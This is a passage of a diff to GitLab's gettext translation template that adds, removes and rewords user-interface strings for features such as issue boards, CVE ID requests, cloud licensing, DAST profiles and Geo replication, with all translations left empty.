+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
